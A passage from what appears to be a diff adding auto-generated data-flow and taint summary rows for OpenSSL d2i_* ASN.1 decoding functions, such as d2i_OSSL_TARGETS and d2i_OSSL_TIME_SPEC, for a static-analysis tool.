"d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETS", "(OSSL_TARGETS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", 